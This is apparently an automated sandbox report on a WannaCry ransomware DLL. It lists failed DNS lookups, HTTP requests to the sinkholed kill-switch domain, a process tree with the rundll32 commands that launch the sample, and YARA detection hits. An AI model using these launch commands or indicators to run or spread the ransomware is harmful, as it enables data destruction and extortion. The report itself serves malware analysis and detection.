                                                                                              Jul 20, 2022 22:54:40.258080959 CEST8.8.8.8192.168.2.40x7bbdName error (3)bjeaou.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.292618990 CEST8.8.8.8192.168.2.40x1742Name error (3)chiqnq.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.322551966 CEST8.8.8.8192.168.2.40x50d1Name error (3)utuuex.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.365179062 CEST8.8.8.8192.168.2.40x1e5bName error (3)eymqdf.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.395994902 CEST8.8.8.8192.168.2.40xa5dName error (3)ejrzqi.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.433759928 CEST8.8.8.8192.168.2.40x8e1fName error (3)oumuoo.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.470072985 CEST8.8.8.8192.168.2.40x4daeName error (3)ahymni.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.507767916 CEST8.8.8.8192.168.2.40x3ec8Name error (3)jiakym.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.544434071 CEST8.8.8.8192.168.2.40xee84Name error (3)holceg.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.584887981 CEST8.8.8.8192.168.2.40x3b6fName error (3)nvmeau.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.619729996 CEST8.8.8.8192.168.2.40xac0fName error (3)qhavei.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.650690079 CEST8.8.8.8192.168.2.40xcadName error (3)ocskue.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.684954882 CEST8.8.8.8192.168.2.40x8ed5Name error (3)egynaa.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.716125011 CEST8.8.8.8192.168.2.40x9b78Name error (3)jabhdl.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.745421886 CEST8.8.8.8192.168.2.40xfba2Name error (3)ygarij.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.776046991 CEST8.8.8.8192.168.2.40x3b00Name error (3)crdmaw.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.805237055 CEST8.8.8.8192.168.2.40x7d7bName error (3)yzedil.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.853163958 CEST8.8.8.8192.168.2.40x3646Name error (3)lfonvv.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.896445990 CEST8.8.8.8192.168.2.40xf695Name error (3)lncpiv.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.936306000 CEST8.8.8.8192.168.2.40xf480Name error (3)jfxozc.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.972363949 CEST8.8.8.8192.168.2.40x3032Name error (3)cpfjlk.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.008023024 CEST8.8.8.8192.168.2.40x1533Name error (3)yireem.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.040328979 CEST8.8.8.8192.168.2.40xc305Name error (3)vyesfi.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.336762905 CEST8.8.8.8192.168.2.40xd522Name error (3)bifbdw.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.380033970 CEST8.8.8.8192.168.2.40xbb7Name error (3)kbpdku.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.409827948 CEST8.8.8.8192.168.2.40xecb2Name error (3)xkdmwi.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.449043989 CEST8.8.8.8192.168.2.40x414fName error (3)tlioza.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.478492022 CEST8.8.8.8192.168.2.40x90d6Name error (3)upgxkm.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.512674093 CEST8.8.8.8192.168.2.40xcc26Name error (3)rfejzp.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.541846037 CEST8.8.8.8192.168.2.40x3851Name error (3)ozzzcr.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.576179981 CEST8.8.8.8192.168.2.40x5042Name error (3)craojp.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.621886015 CEST8.8.8.8192.168.2.40xa92fName error (3)xligmg.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.657711029 CEST8.8.8.8192.168.2.40xbc96Name error (3)luoiev.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.690987110 CEST8.8.8.8192.168.2.40xb0a2Name error (3)ilnoug.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.720563889 CEST8.8.8.8192.168.2.40xf46Name error (3)fiuoch.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.755774975 CEST8.8.8.8192.168.2.40x7aeaName error (3)tghitr.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.801877022 CEST8.8.8.8192.168.2.40xde55Name error (3)eesoga.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.914846897 CEST8.8.8.8192.168.2.40x8e5dName error (3)dmeayc.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.944541931 CEST8.8.8.8192.168.2.40xa0bdName error (3)ipuyoi.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:41.974445105 CEST8.8.8.8192.168.2.40x283cName error (3)iewhax.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.007285118 CEST8.8.8.8192.168.2.40xdc41Name error (3)abbjil.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.039998055 CEST8.8.8.8192.168.2.40xc56fName error (3)llulaz.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.082324028 CEST8.8.8.8192.168.2.40x5eeName error (3)yatzxk.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.132795095 CEST8.8.8.8192.168.2.40x2112Name error (3)advhuy.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.167221069 CEST8.8.8.8192.168.2.40x7718Name error (3)fvwrzm.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.204638958 CEST8.8.8.8192.168.2.40x8e5cName error (3)yridyu.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.247296095 CEST8.8.8.8192.168.2.40xab47Name error (3)hnwujs.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.284647942 CEST8.8.8.8192.168.2.40x9440Name error (3)aiafye.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.323240042 CEST8.8.8.8192.168.2.40x39deName error (3)qriryk.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.359338999 CEST8.8.8.8192.168.2.40x4537Name error (3)wmqszx.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.389638901 CEST8.8.8.8192.168.2.40x3935Name error (3)cuofey.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.419955015 CEST8.8.8.8192.168.2.40xfa07Name error (3)rheokd.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.456423044 CEST8.8.8.8192.168.2.40x92c2Name error (3)aiozxr.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.491046906 CEST8.8.8.8192.168.2.40x9f38Name error (3)anwttj.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.538963079 CEST8.8.8.8192.168.2.40xedc6Name error (3)viizdw.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.566880941 CEST8.8.8.8192.168.2.40x30aName error (3)ymgvpp.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.602602005 CEST8.8.8.8192.168.2.40xc67cName error (3)uaksyq.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.641297102 CEST8.8.8.8192.168.2.40x7356Name error (3)limeek.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.686028004 CEST8.8.8.8192.168.2.40x8789Name error (3)jpnbeq.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.721410990 CEST8.8.8.8192.168.2.40x8d86Name error (3)jijqtj.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.754065037 CEST8.8.8.8192.168.2.40x7dabName error (3)vovylb.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.784663916 CEST8.8.8.8192.168.2.40xbc7bName error (3)xbarni.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:42.826581001 CEST8.8.8.8192.168.2.40xb535Name error (3)meixcw.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.129354954 CEST8.8.8.8192.168.2.40xd1b7Name error (3)yhhjoi.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.161786079 CEST8.8.8.8192.168.2.40xa4eeName error (3)xykdhi.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.192399025 CEST8.8.8.8192.168.2.40x3ebeName error (3)behliz.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.238863945 CEST8.8.8.8192.168.2.40x5fe6Name error (3)prjgtu.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.276901007 CEST8.8.8.8192.168.2.40x729bName error (3)lbtouf.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.306519032 CEST8.8.8.8192.168.2.40x7b9Name error (3)vhxnzg.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.349145889 CEST8.8.8.8192.168.2.40xca03Name error (3)vfkvbk.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.378171921 CEST8.8.8.8192.168.2.40xdd42Name error (3)uxzarv.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.488733053 CEST8.8.8.8192.168.2.40x4465Name error (3)ogzeam.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.531205893 CEST8.8.8.8192.168.2.40xf9bName error (3)djbsdx.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.567163944 CEST8.8.8.8192.168.2.40xb463Name error (3)upcegg.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.612627983 CEST8.8.8.8192.168.2.40x232dName error (3)jodiqj.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.643126011 CEST8.8.8.8192.168.2.40x58c9Name error (3)ytzhaa.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.684333086 CEST8.8.8.8192.168.2.40xce5cName error (3)esouvn.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.733669043 CEST8.8.8.8192.168.2.40x69bfName error (3)vakrwa.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.765686035 CEST8.8.8.8192.168.2.40x522fName error (3)ueaxuo.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.793013096 CEST8.8.8.8192.168.2.40x69deName error (3)eionrz.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.839689970 CEST8.8.8.8192.168.2.40x685eName error (3)uveioi.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.872016907 CEST8.8.8.8192.168.2.40xe201Name error (3)qzhktg.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.908171892 CEST8.8.8.8192.168.2.40xc691Name error (3)ioinfd.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.949242115 CEST8.8.8.8192.168.2.40x2492Name error (3)viayig.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:43.986525059 CEST8.8.8.8192.168.2.40x94d2Name error (3)bcpzeb.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:44.025182962 CEST8.8.8.8192.168.2.40x32e6Name error (3)shkwer.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:44.060282946 CEST8.8.8.8192.168.2.40x8d9fName error (3)pejokh.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:44.096997023 CEST8.8.8.8192.168.2.40x42f8Name error (3)uiyaia.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:44.131166935 CEST8.8.8.8192.168.2.40x34eName error (3)fahjbc.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:44.242084026 CEST8.8.8.8192.168.2.40x5f01Name error (3)utmlce.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:44.276153088 CEST8.8.8.8192.168.2.40x3dd2Name error (3)iiobey.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:44.385664940 CEST8.8.8.8192.168.2.40x660cName error (3)cjjqgb.comnonenoneA (IP address)IN (0x0001)

                                                                                              HTTP Request Dependency Graph

                                                                                              • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

                                                                                              HTTP Packets

                                                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                              0192.168.2.449760104.17.244.8180C:\Windows\mssecsvc.exe
                                                                                              TimestampkBytes transferredDirectionData
                                                                                              Jul 20, 2022 22:52:14.335957050 CEST1017OUTGET / HTTP/1.1
                                                                                              Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
                                                                                              Cache-Control: no-cache
                                                                                              Jul 20, 2022 22:52:14.371010065 CEST1017INHTTP/1.1 200 OK
                                                                                              Date: Wed, 20 Jul 2022 20:52:14 GMT
                                                                                              Content-Type: text/html
                                                                                              Content-Length: 607
                                                                                              Connection: close
                                                                                              Server: cloudflare
                                                                                              CF-RAY: 72de94559f8968f8-FRA
                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                                                              Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>


                                                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                              1192.168.2.449859104.17.244.8180C:\Windows\mssecsvc.exe
                                                                                              TimestampkBytes transferredDirectionData
                                                                                              Jul 20, 2022 22:54:21.734005928 CEST8438OUTGET / HTTP/1.1
                                                                                              Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
                                                                                              Cache-Control: no-cache
                                                                                              Jul 20, 2022 22:54:21.772135973 CEST8439INHTTP/1.1 200 OK
                                                                                              Date: Wed, 20 Jul 2022 20:54:21 GMT
                                                                                              Content-Type: text/html
                                                                                              Content-Length: 607
                                                                                              Connection: close
                                                                                              Server: cloudflare
                                                                                              CF-RAY: 72de9771da07904f-FRA
                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                                                              Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>


                                                                                              Statistics

                                                                                              CPU Usage

                                                                                              Click to jump to process

                                                                                              Memory Usage

                                                                                              Click to jump to process

                                                                                              Behavior

                                                                                              Click to jump to process

                                                                                              System Behavior

                                                                                              General

                                                                                              Target ID:0
                                                                                              Start time:22:52:04
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\System32\loaddll32.exe
                                                                                              Wow64 process (32bit):true
                                                                                              Commandline:loaddll32.exe "C:\Users\user\Desktop\4GDffePnzH.dll"
                                                                                              Imagebase:0x3c0000
                                                                                              File size:116736 bytes
                                                                                              MD5 hash:7DEB5DB86C0AC789123DEC286286B938
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language
                                                                                              Reputation:high

                                                                                              General

                                                                                              Target ID:1
                                                                                              Start time:22:52:05
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\SysWOW64\cmd.exe
                                                                                              Wow64 process (32bit):true
                                                                                              Commandline:cmd.exe /C rundll32.exe "C:\Users\user\Desktop\4GDffePnzH.dll",#1
                                                                                              Imagebase:0x1190000
                                                                                              File size:232960 bytes
                                                                                              MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language
                                                                                              Reputation:high

                                                                                              General

                                                                                              Target ID:2
                                                                                              Start time:22:52:05
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                              Wow64 process (32bit):true
                                                                                              Commandline:rundll32.exe C:\Users\user\Desktop\4GDffePnzH.dll,PlayGame
                                                                                              Imagebase:0xad0000
                                                                                              File size:61952 bytes
                                                                                              MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language
                                                                                              Reputation:high

                                                                                              General

                                                                                              Target ID:3
                                                                                              Start time:22:52:05
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                              Wow64 process (32bit):true
                                                                                              Commandline:rundll32.exe "C:\Users\user\Desktop\4GDffePnzH.dll",#1
                                                                                              Imagebase:0xad0000
                                                                                              File size:61952 bytes
                                                                                              MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language
                                                                                              Reputation:high

                                                                                              General

                                                                                              Target ID:4
                                                                                              Start time:22:52:07
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\mssecsvc.exe
                                                                                              Wow64 process (32bit):true
                                                                                              Commandline:C:\WINDOWS\mssecsvc.exe
                                                                                              Imagebase:0x400000
                                                                                              File size:3751936 bytes
                                                                                              MD5 hash:E1C47DA367CF7B7F607367F7DCA89CEE
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language
                                                                                              Yara matches:
                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.258382588.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.262322206.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.258478621.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000002.552570972.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.260042872.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.260099444.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.261159703.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.261228949.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000002.552652986.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.262513354.0000000000710000.00000080.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
                                                                                              • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (with the help of binar.ly)
                                                                                              • Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (based on rule by US CERT)
                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvc.exe, Author: Joe Security
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\mssecsvc.exe, Author: us-cert code analysis team
                                                                                              Antivirus matches:
                                                                                              • Detection: 100%, Avira
                                                                                              • Detection: 100%, Joe Sandbox ML
                                                                                              • Detection: 100%, ReversingLabs
                                                                                              Reputation:low

                                                                                              General

                                                                                              Target ID:6
                                                                                              Start time:22:52:09
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\SysWOW64\rundll32.exe
                                                                                              Wow64 process (32bit):true
                                                                                              Commandline:rundll32.exe "C:\Users\user\Desktop\4GDffePnzH.dll",PlayGame
                                                                                              Imagebase:0xad0000
                                                                                              File size:61952 bytes
                                                                                              MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language
                                                                                              Reputation:high

                                                                                              General

                                                                                              Target ID:7
                                                                                              Start time:22:52:09
                                                                                              Start date:20/07/2022
                                                                                              Path:C:\Windows\mssecsvc.exe
                                                                                              Wow64 process (32bit):true
                                                                                              Commandline:C:\WINDOWS\mssecsvc.exe
                                                                                              Imagebase:0x400000
                                                                                              File size:3751936 bytes
                                                                                              MD5 hash:E1C47DA367CF7B7F607367F7DCA89CEE
